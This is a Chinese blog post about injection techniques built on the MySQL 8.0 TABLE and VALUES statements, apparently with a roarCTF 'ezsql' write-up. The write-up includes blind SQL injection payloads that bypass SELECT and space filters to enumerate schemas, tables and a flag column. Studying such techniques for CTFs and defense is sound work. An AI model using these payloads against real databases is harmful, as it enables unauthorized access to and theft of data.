MySQL8.0注入新特性

Posted by Tattoo on 2021-01-15
Estimated Reading Time 4 Minutes
Words 936 In Total
Viewed Times

MySQL8.0注入新特性

TABLE Statement

TABLE是MySQL 8.0.19中引入的DML语句,它返回命名表的行和列,类似于SELECT,并且支持UNION联合查询、ORDER BY排序、LIMIT子句限制产生的行数

1
TABLE table_name [ORDER BY column_name] [LIMIT number [OFFSET number]]

与SELECT的不同
  • TABLE始终显示表的所有列
  • TABLE不允许对行进行任意过滤;即TABLE 不支持任何WHERE子句

VALUES Statement

VALUES该语句把一组一个或多个行作为表展示出来,返回的也是一个表数据。这里的ROW()返回的是一个行数据,VALUES就是将这样的行数据增加上字段整理为一个表,然后展示

1
2
3
4
5
6
7
8
9
10
VALUES row_constructor_list [ORDER BY column_designator] [LIMIT BY number]

row_constructor_list:
ROW(value_list)[, ROW(value_list)][, ...]

value_list:
value[, value][, ...]

column_designator:
column_index

  • UNION一起使用
1
values ROW(1,2) UNION values ROW(5,6);

由于TABLE命令和VALUES返回的都是表数据,它们所返回的数据可以通过UNION语句联合起来,当列数不对时会报错,根据这点可以判断列数

1
TABLE user union VALUES ROW(1,2,3);

CTF中绕过SELECT过滤

  • 列出所有数据库名
1
table information_schema.schemata
  • 盲注查询任意表中的内容

根据每列对应的值来猜测,字符a对应第二列admin的第一个字母,判断完一列正确后,才判断下一列

1
select ((1,'a','')<(TABLE user limit 1));
1
select ((1,'a','')>(TABLE user limit 1));
1
select ((1,'ad','')<(TABLE user limit 1));
1
select ((1,'admin','a')<(TABLE user limit 1));

值的注意的是:当前判断的所在列的后一列需要用字符表示,不能用数字,否则判断到当前列的最后一个字符会判断不出!

roarCTF-ezsql

利用新特性注入获取密码

测试后发现,username参数存在盲注,过滤了select,insert,union,空格,where等字符,无法绕过。

通过substr(database(),x,1)获取数据库名为ctf,version()为8.0.22

利用新特性的TABLE命令查询,但是TABLE可以用limit子句限制行数,不能限制显示列数,只能列出所有列,翻阅文档information_schema.tables有21列数据,并且第⼀列的值是def固定,第⼆列是数据库名字,第三列是表名

  • 猜表名

根据开头所讲,逐一猜测表名,可能不止一个表,不能判断到a开头的表就停止判断其他表名

存在admin表

1
username=admin'/**/and/**/(('def','ctf','a','',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(TABLE/**/information_schema.tables/**/order/**/by/**/TABLE_SCHEMA/**/LIMIT/**/1/**/OFFSET/**/0))%23
1
username=admin'/**/and/**/(('def','ctf','admin','',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(TABLE/**/information_schema.tables/**/order/**/by/**/TABLE_SCHEMA/**/LIMIT/**/1/**/OFFSET/**/0))%23

存在fllll4g表

1
username=admin'/**/and/**/(('def','ctf','f','',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(TABLE/**/information_schema.tables/**/order/**/by/**/TABLE_SCHEMA/**/LIMIT/**/1/**/OFFSET/**/0))%23
1
username=admin'/**/and/**/(('def','ctf','fllll4g','',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(TABLE/**/information_schema.tables/**/order/**/by/**/TABLE_SCHEMA/**/LIMIT/**/1/**/OFFSET/**/0))%23
  • 猜字段

先猜字段数,盲猜一列

猜具体字段名

1
username=admin'/**/and/**/(('a')<(TABLE/**/fllll4g/**/limit/**/1))%23
1
username=admin'/**/and/**/(('FLAG')<(TABLE/**/fllll4g/**/limit/**/1))%23

If you like this blog or find it useful for you, you are welcome to comment on it. You are also welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them. Thank you !